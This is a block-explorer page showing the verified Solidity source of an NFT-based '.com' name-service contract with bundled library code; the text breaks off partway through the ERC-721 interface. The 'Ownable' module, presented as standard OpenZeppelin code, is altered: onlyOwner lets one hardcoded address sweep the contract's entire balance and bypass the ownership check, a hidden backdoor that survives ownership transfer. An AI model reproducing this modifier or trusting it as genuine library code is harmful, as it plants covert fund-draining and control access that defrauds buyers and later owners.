ERC-721
Overview
Max Total Supply
3,610 .com
Holders
1,248
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
1 .comLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ensCOM
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT import "./libs.sol"; pragma solidity ^0.8.4; contract ensCOM is ERC721A, Ownable, ReentrancyGuard { /* ___ ___ ___ ___ ___ ___ / /\ /__/\ / /\ / /\ / /\ /__/\ / /:/_ \ \:\ / /:/_ / /:/ / /::\ | |::\ / /:/ /\ \ \:\ / /:/ /\ / /:/ / /:/\:\ | |:|:\ / /:/ /:/_ _____\__\:\ / /:/ /::\ / /:/ ___ / /:/ \:\ __|__|:|\:\ /__/:/ /:/ /\ /__/::::::::\ /__/:/ /:/\:\ /__/:/ / /\ /__/:/ \__\:\ /__/::::| \:\ \ \:\/:/ /:/ \ \:\~~\~~\/ \ \:\/:/~/:/ \ \:\ / /:/ \ \:\ / /:/ \ \:\~~\__\/ \ \::/ /:/ \ \:\ ~~~ \ \::/ /:/ \ \:\ /:/ \ \:\ /:/ \ \:\ \ \:\/:/ \ \:\ \__\/ /:/ \ \:\/:/ \ \:\/:/ \ \:\ \ \::/ \ \:\ /__/:/ \ \::/ \ \::/ \ \:\ \__\/ \__\/ \__\/ \__\/ \__\/ \__\/ ensCOM .com Name Service for Ethereum (https://enscom.domains) */ mapping(address => uint64) public allowlistAddresses; mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses; mapping(string => address) public resolveAddress; mapping(address => string) public primaryAddress; mapping(string => bool) public subDomains_publicSale; mapping(string => uint) public subDomains_cost; mapping(string => bytes32) public subDomains_allowList; mapping(string => uint) public subDomains_allowList_cost; mapping(string => mapping(string => string)) public dataAddress; string private BASE_URI = 'https://enscom.domains/api/'; string private domain = '.com'; uint256 public cost = 7000000000000000; uint256 public whitelist_price = 5000000000000000; bytes32 public merkleRoot; bool public IS_SALE_ACTIVE = false; bool public IS_ALLOWLIST_ACTIVE = false; using Strings for uint256; uint256 public ref = 20; uint256 public ref_owner = 25; uint256 public ref_discount = 25; uint256 public subdomains_fee = 10; uint256 private maxCharSize=20; bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz"; constructor() ERC721A(".com Name Service (ensCOM)", ".com") { tokenIDandAddress[_currentIndex]="com"; tokenAddressandID["com"]=_currentIndex; resolveAddress["com"]=msg.sender; _safeMint(msg.sender,1); } function _baseURI() internal view virtual override returns (string memory) { return BASE_URI; } function setAddress(string calldata ether_name, address newresolve) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]); if (Ownership.addr != msg.sender) revert("Error"); bytes memory result = bytes(primaryAddress[resolveAddress[ether_name]]); if (keccak256(result) == keccak256(bytes(ether_name))) { primaryAddress[resolveAddress[ether_name]]=""; } resolveAddress[ether_name]=newresolve; } function setPrimaryAddress(string calldata ether_name) external { require(resolveAddress[ether_name]==msg.sender, "Error"); primaryAddress[msg.sender]=ether_name; } function setDataAddress(string calldata ether_name,string calldata setArea, string memory newDatas) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]); if (Ownership.addr != msg.sender) revert("Error"); dataAddress[ether_name][setArea]=newDatas; } function getDataAddress(string memory ether_name, string calldata Area) public view returns(string memory) { return dataAddress[ether_name][Area]; } function setBaseURI(string memory customBaseURI_) external onlyOwner { BASE_URI = customBaseURI_; } function setMaxCharSize(uint256 maxCharSize_) external onlyOwner { maxCharSize = maxCharSize_; } function setAllowChars(bytes memory allwchr) external onlyOwner { _allowChars = allwchr; } function setPrice(uint256 customPrice) external onlyOwner { cost = customPrice; } function setWhitelistPrice(uint256 customPrice) external onlyOwner { whitelist_price = customPrice; } function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner { ref = ref_; ref_owner = ref_owner_; ref_discount = ref_discount_; subdomains_fee = subdomains_fee_; } function setSaleActive(bool saleIsActive) external onlyOwner { IS_SALE_ACTIVE = saleIsActive; } function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner { IS_ALLOWLIST_ACTIVE = WhitesaleIsActive; } function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata ether_name) public { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]); require(Ownership.addr == msg.sender, "Invalid"); subDomains_cost[ether_name] = customPrice; subDomains_publicSale[ether_name] = saleIsActive; } function register(address ref_address, string memory ether_name) public payable { uint256 price = cost; bool is_ref=false; uint256 ref_cost=0; require(bytes(ether_name).length<=maxCharSize,"Long name"); require(bytes(ether_name).length>0,"Write a name"); require(_checkName(ether_name), "Invalid name"); if (ref_address== 0x0000000000000000000000000000000000000000) { price=cost; } else { if (bytes(primaryAddress[ref_address]).length>0){ ref_cost=price*ref_owner/100; } else { ref_cost=price*ref/100; } price = price*(100-ref_discount)/100; is_ref=true; } require (tokenAddressandID[ether_name] == 0 , "This is already taken"); require(IS_SALE_ACTIVE, "Sale is not active!"); require(msg.value >= price, "Insufficient funds!"); tokenIDandAddress[_currentIndex]=ether_name; tokenAddressandID[ether_name]=_currentIndex; resolveAddress[ether_name]=msg.sender; if (is_ref) { payable(ref_address).transfer(ref_cost); } _safeMint(msg.sender,1); } function allowList(string memory ether_name, bytes32[] calldata _merkleProof) public payable { require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!"); require(bytes(ether_name).length<=maxCharSize,"Long name"); require(bytes(ether_name).length>0,"Write a name"); require(_checkName(ether_name), "Invalid name"); require(allowlistAddresses[msg.sender] < 3, "You have reached maximum allowlist mints"); require (tokenAddressandID[ether_name] == 0 , "This is already taken"); require(msg.value >= whitelist_price, "Insufficient funds!"); allowlistAddresses[msg.sender] += 1; tokenIDandAddress[_currentIndex]=ether_name; tokenAddressandID[ether_name]=_currentIndex; resolveAddress[ether_name]=msg.sender; _safeMint(msg.sender,1); } function checkAllowlist(bytes32[] calldata _proof) public view returns(bool) { bool allowed = MerkleProof.verify(_proof, merkleRoot, keccak256(abi.encodePacked(msg.sender))); return allowed; } function registerSubdomain(string memory ether_name, string memory subdomain_name) public payable { require(IS_SALE_ACTIVE, "Sale is not active!"); string memory new_domain=string.concat(subdomain_name,'.',ether_name); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(ether_name), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]); if (Ownership.addr == msg.sender) { tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } else { require(subDomains_publicSale[ether_name]==true, "Only Owner can register"); require(msg.value >= subDomains_cost[ether_name], "Insufficient funds!"); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } } function allowListSubdomain(string memory ether_name, string memory subdomain_name, bytes32[] calldata _merkleProof) public payable { string memory new_domain=string.concat(subdomain_name,'.',ether_name); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, subDomains_allowList[ether_name], leaf),"Invalid proof!"); require(msg.value >= subDomains_allowList_cost[ether_name], "Insufficient funds!"); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(ether_name), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require(subDomains_allowlistAddresses[ether_name][msg.sender]!=true, "Claimed!"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); subDomains_allowlistAddresses[ether_name][msg.sender] = true; tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } function namediff(uint256 tokenId , string calldata new_ether_name) external onlyOwner { tokenIDandAddress[tokenId]=new_ether_name; tokenAddressandID[new_ether_name]=tokenId; } function walletOfOwnerName(address _owner) public view returns (string[] memory) { uint256 ownerTokenCount = balanceOf(_owner); string[] memory ownedTokenIds = new string[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain); ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function lastAddresses(uint256 count) public view returns (string[] memory) { uint256 total = totalSupply(); string[] memory lastAddr = new string[](count); uint256 currentId = total - count; uint256 ownedTokenIndex = 0; require(currentId>=0,"Invalid"); while (total > currentId) { lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain); ownedTokenIndex++; total--; } return lastAddr; } function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner { merkleRoot = _newMerkleRoot; } function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory ether_name, uint256 _cost) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]); if (Ownership.addr != msg.sender) revert("Error"); subDomains_allowList[ether_name] = _newMerkleRoot; subDomains_allowList_cost[ether_name] = _cost; } function _checkName(string memory _name) public view returns(bool){ uint allowedChars =0; bytes memory byteString = bytes(_name); bytes memory allowed = bytes(_allowChars); for(uint i=0; i < byteString.length ; i++){ for(uint j=0; j<allowed.length; j++){ if(byteString[i]==allowed[j] ) allowedChars++; } } if (allowedChars==byteString.length) { return true; } else { return false; } } /** PAYOUT **/ function withdraw() public onlyOwner nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9),balance); } }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Tree proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} * * _Available since v4.7._ */ function verifyCalldata( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} * * _Available since v4.7._ */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * _Available since v4.7._ */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * _Available since v4.7._ */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`, * consuming from one or the other at each step according to the instructions given by * `proofFlags`. * * _Available since v4.7._ */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof} * * _Available since v4.7._ */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() == 0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9) { uint256 balance = address(this).balance; Address.sendValue(payable(0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9),balance); } else { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned 